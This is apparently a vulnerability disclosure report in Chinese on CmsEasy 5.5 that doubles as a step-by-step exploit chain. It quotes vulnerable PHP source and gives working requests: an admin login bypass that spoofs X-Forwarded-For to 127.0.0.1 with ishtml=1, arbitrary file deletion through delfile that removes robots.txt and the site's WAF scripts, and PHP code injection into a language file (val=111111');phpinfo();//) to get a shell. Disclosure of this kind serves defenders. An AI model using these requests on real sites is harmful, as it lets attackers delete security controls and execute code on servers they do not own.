### 简要描述:
CmsEasy多出任意文件删除,可直接删除waf,Getshell so Easy !
### 详细说明:
CmsEasy在后台权限验证存在缺陷,导致登陆绕过,以及越权操作后台。
1、在后台登陆验证时存在缺陷,导致随意登陆绕过
2、在进行后台功能操作时,验证不全,存在缺陷,导致越权操作
3、通过上面的问题任意用户,包括非登录用户即可操作后台,危害较大!
来看看登陆这里的验证:
lib/admin/admin.php文件
```
<?php
if (!defined('ROOT')) exit('Can\'t Access !');
abstract class admin extends act {
function __construct() {
if (ADMIN_DIR!=config::get('admin_dir')) {
config::modify(array('admin_dir'=>ADMIN_DIR));
front::flash('后台目录更改成功!');
}
front::$rewrite=false;
parent::__construct();
$servip = gethostbyname($_SERVER['SERVER_NAME']);
//if($this instanceof file_admin && in_array(front::get('act'), array('updialog','upfile','upfilesave','netfile','netfilesave','swfsave'))) return;
if($servip==front::ip()&&front::get('ishtml')==1) return;
$this->check_admin();
}
function check_admin() {
if (cookie::get('login_username')&&cookie::get('login_password')) {
$user=new user();
$user=$user->getrow(array('username'=>cookie::get('login_username')));
$roles = session::get('roles');
if ($roles && is_array($user)&&cookie::get('login_password')==front::cookie_encode($user['password'])) {
$this->view->user=$user;
front::$user=$user;
}else{
$user=null;
}
}
if (!isset($user)||!is_array($user)) {
front::redirect(url::create('admin/login'));
}
}
}
```
主要看这里:
```
$servip = gethostbyname($_SERVER['SERVER_NAME']);
//if($this instanceof file_admin && in_array(front::get('act'), array('updialog','upfile','upfilesave','netfile','netfilesave','swfsave'))) return;
if($servip==front::ip()&&front::get('ishtml')==1) return;
$this->check_admin();
```
如果gethostbyname($_SERVER['SERVER_NAME'])==front::ip()并且front::get('ishtml')==1,就会return
这样正好跳过了下面的check_admin,导致登陆绕过了
例如我们在访问后台时:
http://localhost/CmsEasy_5.5_UTF-8_20140605/index.php?case=config&act=system&set=site&admin_dir=admin&site=default&ishtml=1
然后在访问时拦截包设置header中:X-Forwarded-For: 127.0.0.1,然后访问
这样即可访问到后台:
[<img src="https://images.seebug.org/upload/201407/07185430935948cadd3b366ee0de55e6f3cd0984.png" alt="111.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/07185430935948cadd3b366ee0de55e6f3cd0984.png)
当然在后台进行后台功能操作时,也存在权限和登陆验证的:
```
function chkpw($str){
if(!chkpower($str))
front::alert('无操作权限!');
}
function chkpower($str){
$roles = session::get('roles');
//var_dump($roles);//当前用户的权限
return $roles[$str];
}
```
但是也有存在漏掉的地方,如下面我们要讲的任意文件删除漏洞!
附找出全部问题点的技巧!
### 漏洞证明:
后台搜索unlink,也就是在/lib/admin/目录下搜索:
[<img src="https://images.seebug.org/upload/201407/07185817b3f41c7c7b5455675836d1c3988f3f8e.png" alt="222.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/07185817b3f41c7c7b5455675836d1c3988f3f8e.png)
这里一共找出6处可能存在任意文件删除的漏洞。
/file_admin.php中找到两处!
/image_admin.php一处
/table_admin.php一处
/website_admin.php两处。
但是/image_admin.php,/table_admin.php,/website_admin.php在删除文件时使用了chkpw函数,进行判断,所以这三个函数不存在漏洞。。。
我们来看看第一和第二处:file_admin.php文件
```
function init() {
}
function delfile_action(){
if(front::$get['UD'] != 1){
echo '2';exit;
}
if(front::$get['dfile'] == ''){
echo '0';exit;
}
$f = str_ireplace(config::get('site_url'), '', front::$get['dfile']);
if(@unlink(ROOT . '/'.$f)){
echo 1;
}else{
echo 0;
}
exit;
}
```
首先看看这里的初始化函数中以及操作函数中,都没有判断权限及登陆验证
未验证chkpw,导致了越权操作。
来看看delfile_action函数:
这里直接删除了网站根目录下的文件:
```
$f = str_ireplace(config::get('site_url'), '', front::$get['dfile']);
if(@unlink(ROOT . '/'.$f)){
echo 1;
}else{
echo 0;
}
```
没有经过任何过滤处理,导致任意文件删除。
首先来看看网站根目录下的robots.txt文件是存在的
然后我们来构造删除:
链接:http://localhost/CmsEasy_5.5_UTF-8_20140605/index.php?case=file&act=delfile&admin_dir=admin&site=default&UD=1&dfile=robots.txt&ishtml=1
header:X-Forwarded-For: 127.0.0.1
[<img src="https://images.seebug.org/upload/201407/07190727566c6eb0ceb6de3bdd7c0b6f7a62698c.png" alt="444.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/07190727566c6eb0ceb6de3bdd7c0b6f7a62698c.png)
现在网站根目录下的robots.txt文件已经被删除了:
[<img src="https://images.seebug.org/upload/201407/07190828c0c1c191c9e57e857e10f393056a305d.png" alt="555.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/07190828c0c1c191c9e57e857e10f393056a305d.png)
这里可直接服务器上任意文件,没有任何限制
可以直接删除waf文件:
http://localhost/CmsEasy_5.5_UTF-8_20140605/index.php?case=file&act=delfile&admin_dir=admin&site=default&UD=1&dfile=webscan360/360safe/360webscan.php&ishtml=1
http://localhost/CmsEasy_5.5_UTF-8_20140605/index.php?case=file&act=delfile&admin_dir=admin&site=default&UD=1&dfile=webscan360/360safe/360scan.php&ishtml=1
设置header:X-Forwarded-For: 127.0.0.1
[<img src="https://images.seebug.org/upload/201407/071913223d6267fa2ba95fa922bb0dd575479983.png" alt="666.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/071913223d6267fa2ba95fa922bb0dd575479983.png)
至于/file_admin.php中的第二处文件是一样的方法,不在分析了。
================================================================================
删除waf后,就可以干其他很多事情了。。。
下面我们来看看删除waf后,Getshell!
文件/lib/admin/language_admin.php:
```
function init() {
}
function add_action() {
if (front::post('submit')) {
$path=ROOT.'/lang/'.config::get('lang_type').'/system.php';
$tipspath=ROOT.'/lang/cn/system.php';
$content=file_get_contents($path);
$tipscontent=file_get_contents($tipspath);
$replace="'".front::$post['key']."'=>'".front::$post['val']."',";
$tipsreplace="'".front::$post['key']."'=>'".front::$post['cnnote']."',";
$content=str_replace(');',$replace.');',$content);
file_put_contents($path,$content);
$pos=strpos($tipscontent,$tipsreplace);
if (config::get('lang_type') != 'cn'&&$pos === false) {
$tipscontent=str_replace(');',$tipsreplace.');',$tipscontent);
file_put_contents($tipspath,$tipscontent);
}
if ($_GET['site'] != 'default') {
$ftp=new nobftp();
$ftpconfig=config::get('website');
$ftp->connect($ftpconfig['ftpip'],$ftpconfig['ftpuser'],$ftpconfig['ftppwd'],$ftpconfig['ftpport']);
$ftperror=$ftp->returnerror();
if ($ftperror) {
exit($ftperror);
}
else {
$ftp->nobchdir($ftpconfig['ftppath']);
$ftp->nobput($ftpconfig['ftppath'].'/lang/'.config::get('lang_type').'/system.php',$path);
}
}
event::log('添加语言包','成功');
echo '<script type="text/javascript">alert("操作完成!");window.location.href="'.url('language/edit',true).'";</script>';
//exit;
//front::refresh(url('language/edit',true));
}
}
```
初始化函数和add_action函数大都未进行登录及权限验证,导致越权操作
这里先$content=file_get_contents($path);
然后再$content=str_replace(');',$replace.');',$content);
最后再file_put_contents($tipspath,$tipscontent);
前面我们已经删除了waf,这样我们可以post任意内容到content了
发送请求:
```
连接:http://localhost/CmsEasy_5.5_UTF-8_20140605/index.php?case=file&act=delfile&admin_dir=admin&site=default&UD=1&dfile=webscan360/360safe/360webscan.php&ishtml=1
post:submit=1&key=login&val=111111');phpinfo();//
```
[<img src="https://images.seebug.org/upload/201407/07221806040deac646b0cea48344b5b9243dc0dd.png" alt="111.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/07221806040deac646b0cea48344b5b9243dc0dd.png)
然后,看看/lang/cn/system.php:
[<img src="https://images.seebug.org/upload/201407/07221819aa656d00df859df8f9760b5cf7733d03.png" alt="222.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/07221819aa656d00df859df8f9760b5cf7733d03.png)
暂无评论